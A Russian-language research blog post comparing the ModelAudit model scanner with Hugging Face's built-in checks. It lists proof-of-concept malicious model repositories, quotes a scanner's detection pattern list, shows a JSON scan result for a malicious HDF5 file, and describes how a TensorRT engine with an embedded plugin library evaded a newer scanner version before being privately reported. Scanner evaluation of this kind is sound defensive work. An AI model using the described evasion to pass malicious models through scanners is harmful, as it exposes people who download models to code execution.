- Для ModelAudit в процессе сканирования могут вызывать сложности расширения, имеющие разные значения в зависимости от контекста
- 26 моделей прошли все встроенные в Hugging Face проверки, но ModelAudit пометил их опасными
ModelAudit сигнализирует об опасности, но HuggingFace пропускает Рассмотрим теперь те случаи, когда только ModelAudit посчитал модель опасной и для краткости сфокусируемся исключительно на тех моделях, которые получили хотя бы одну сработку критического уровня, к таковым относятся следующие модели:
[ "AgentRen/hdf5-h5hl-fl-deserialize-hbo-poc", "treforbenbow/tensorrt-engine-rce-poc", "an0n3/joblib-rce-poc", "0xiviel/poc-coremltools-rce", "etwithin/mlflow-scanner-bypass-poc", "etwithin/zip-scanner-bypass-poc", "etwithin/joblib-scanner-bypass-poc", "Madhan-Alagarsamy/Cache-Poisoning", "etwithin/pickle-scanner-bypass-poc", "optimus-fulcria/modelscan-h5-bypass-poc" ]
Набравшись опыта, анализ этих моделей я начал с пересканирования актуальной версией ModelAudit, ожидая увидеть в результатах как минимум то же или даже возросшее число критических сработок, но по факту одна из моделей даже утратила свою единственную сработку и теперь по версии и ModelAudit, и Hugging Face модель отмечается безопасной. treforbenbow/tensorrt-engine-rce-poc
После изучения кода стало ясно – в более старых версиях в сканер .\modelaudit\scanners\tensorrt_scanner.py была заложена довольно примитивная логика проверки вхождения паттернов в виде строк в единый, считанный из файла набор данных:
SUSPICIOUS_PATTERNS = [ b"/tmp/", b"../", b".so", b"python", b"import", b"exec", b"eval", ] ... for pattern in SUSPICIOUS_PATTERNS: if pattern in data: result.add_check( name="Suspicious Pattern Detection", passed=False, message=f"Suspicious pattern '{pattern.decode('utf-8', 'ignore')}' found", severity=IssueSeverity.CRITICAL, location=path, details={"pattern": pattern.decode("utf-8", "ignore")}, )
После обновлений изменились паттерны (вероятно такие проверки были слишком "шумными") и их поиск теперь производится по отдельным строкам. Накладывая новую логику сканирования на модель treforbenbow/tensorrt-engine-rce-poc выяснилось, что среди прочих полученных из файла строк оказались следующие: "TensorRT Engine RCE PoC - Code executed via embedded plugin LoadLibrary()\n", "PID: %d\n", "\n[!] TensorRT RCE PoC: Arbitrary code executed via embedded plugin!\n". На них сканер в новой версии не срабатывает, в отличии от предшествующей версии. Данные строки больше похожи на комментарии, чем на паттерны, сигнализирующие о выполнении вложенного кода. Поэтому тот факт, что сканер в новой версии не триггерится на эти строки можно считать движением вперед, но, определенно, необходимы другие проверки наличия вложенных в файл опасных объектов. Используя такую технику можно обойти механизм сканирования ModelAudit. Согласно его политике безопасности в числе прочего уязвимостями считаются такие недостатки, которые позволяют обойти гарантированные проверки. В документации по связанному сканеру нет заявлений о детектировании вложенных .dll моделей, но зато прописан поиск вложенных разделяемых библиотек (к которым относится и .dll) с фокусом на линуксовые .so:
 Вдобавок политика запрещает открывать публичные "GitHub issue" для исправления недостатков:
Do not open a public GitHub issue. Public disclosure of unpatched vulnerabilities puts all ModelAudit users at risk. If this happens, maintainers may close the issue, redact sensitive details when possible, and redirect you to private reporting channels.
Нельзя – так нельзя. Не отступая от правил заполняю отчет по найденной уязвимости и наблюдаю за развитием событий. Через какое-то время появилось исправление – CHANGELOG.md. Мне показались интересной первая реакция на отчет по уязвимости – после его отправки бот mldangelo-oai (ботом его считаю судя по суффиксу -oai и количеству коммитов) создал приватную ветку в репозитории modelaudit и сам сгенерировал исправления. Другой агент начал проверку, но она завершилось ошибкой:
 Есть ли вообще люди в репозитории ModelAudit? Открываем страницу с дашбордом по количеству коммитов за последний месяц и видим:
 mldangelo - это GitHub аккаунт сооснователя и технического директора Promptfoo (ModelAudit является компонентом Promptfoo) Майкла Д'Анджело, по косвенным признакам складывается впечатление, что mldangelo-oai является аккаунтом кодинг-агента Майкла. Все остальные аккаунты из топ-8 тоже подобны ботам/агентам от разных провайдеров. Оказывается ModelAudit больше поддерживается различными агентами, чем людьми и при этом является мощным конкурентом для аналогичных сканеров с открытым исходным кодом. Увидев такой уровень использования различных AI-агентов, я озадачился изучением способов их оркестрации, первыми заметками буду делиться в своем tg-канале BorZaseka. Возвращаясь к сравнению результатов сканирования шустро пройдемся по остальным 9 моделям, которых опасными подсветил только ModelAudit. AgentRen/hdf5-h5hl-fl-deserialize-hbo-poc
Из описания репозитория модели:
This repo contains a malicious HDF5 file (malicious.h5) associated with upstream HDFGroup/hdf5 issue #5382 (reported against v1.14.6): heap-buffer-overflow in H5HL__fl_deserialize.
Критические сработки ModelAudit
{ "model_id": "AgentRen/hdf5-h5hl-fl-deserialize-hbo-poc", "status": "scanned", "issues": [ { "message": "Error scanning Keras H5 file: Link iteration failed (incorrect cache entry type)", "severity": "IssueSeverity.CRITICAL", "location": ".\\AgentRen_hdf5-h5hl-fl-deserialize-hbo-poc\\malicious.h5", "details": { "exception": "Link iteration failed (incorrect cache entry type)", "exception_type": "RuntimeError" }, "why": "Scanning errors may indicate corrupted files, unsupported formats, or malicious content designed to crash security tools.", "timestamp": 1775382501.2975092, "type": "keras_h5_check", "rule_code": "S1005" }, { "message": "Error scanning Keras H5 file: Link iteration failed (incorrect cache entry type)", "severity": "IssueSeverity.CRITICAL", "location": ".\\AgentRen_hdf5-h5hl-fl-deserialize-hbo-poc\\malicious.h5.zip:H5HL__fl_deserialize-hbo", "details": { "exception": "Link iteration failed (incorrect cache entry type)", "exception_type": "RuntimeError", "zip_entry": "H5HL__fl_deserialize-hbo" }, "why": "Scanning errors may indicate corrupted files, unsupported formats, or malicious content designed to crash security tools.", "timestamp": 1775382501.5814996, "type": "keras_h5_check", "rule_code": "S1005" } ], "scanner_names": "['keras_h5', 'zip', 'metadata']", "downloads_per_month": 0 },
Вывод - это True Positive сработка 🗿 Остальные модели на самом деле и так были отмечены опасными на HF, ошибка оказалась в моем алгоритме получения результатов проверок моделей из Hugging Face. Итоги сравнения результатов сканирования ModelAudit и с встроенными в HF проверками
Если учесть все ложноотрицательные сработки ModelAudit исправленные в новых версиях вместе с теми, которые по ошибке не доносятся из HF, то получим следующую матрицу:
 Как видно, все модели, которые были отмечены опасными по итогу встроенных в HF проверок так же оценены и сканером ModelAudit, помимо этого есть 17 моделей, которые по версии ModelAudit имеют хотя бы одну опасную сработку (info/warning/critical) и не имеют ни одного предупреждения от Hugging Face. Выводы Коротко и честно:
Не так я себе всё представлял, когда мы начинали
И правда ведь, начиналось всё это, как казалось, небольшое исследование с довольно простой идеи – давайте возьмем сканер который забыли интегрировать в Hugging Face и просканируем им тонну-другую ML-моделей, найдем множество зловредных и вместе ужаснемся. Далее стало ясно – либо ModelAudit слеп в той же степени как и стандартные проверки в Hugging Face, либо действительно опасных моделей не так уж и много. Эксперименты были доработаны, в качестве целей выбраны наиболее подверженные риску форматы хранения, но все равно большинство сработок оказались ложноположительными, пришлось анализировать их. Впрочем это тоже результат. Разбирать ложные сработки стало скучно, а в памяти из первой статьи все еще держалась мысль – ModelAudit обойти сложнее всего. Тогда сравним его с чем-то аналогичным и ответим на вопрос - можно ли обойтись всего одним инструментом, решительно закрыв им основные риски? Из этого этапа я сделал следующие выводы:
- ModelAudit в преобладающем числе случаев находит сработки в тех моделях, которые были отмечены опасными другими инструментами, генерируемые им предупреждения легко интерпретируются и даже позволяют найти соответствующий исходный код связанной проверки
- Глубокое сравнение артефактов работы двух сложных механизмов, выполняющих одну функцию, позволяет по отклонениям довольно легко находить неочевидные недостатки в работе этих механизмов, даже без предварительного погружения в их устройство
- Всё кончено - сканеры ML-моделей модифицируются и поддерживаются теми же моделями
P.S.: Выражаю благодарность за помощь в доработке статьи Сабрине Садиех, автору канала Data Blog-Источник
|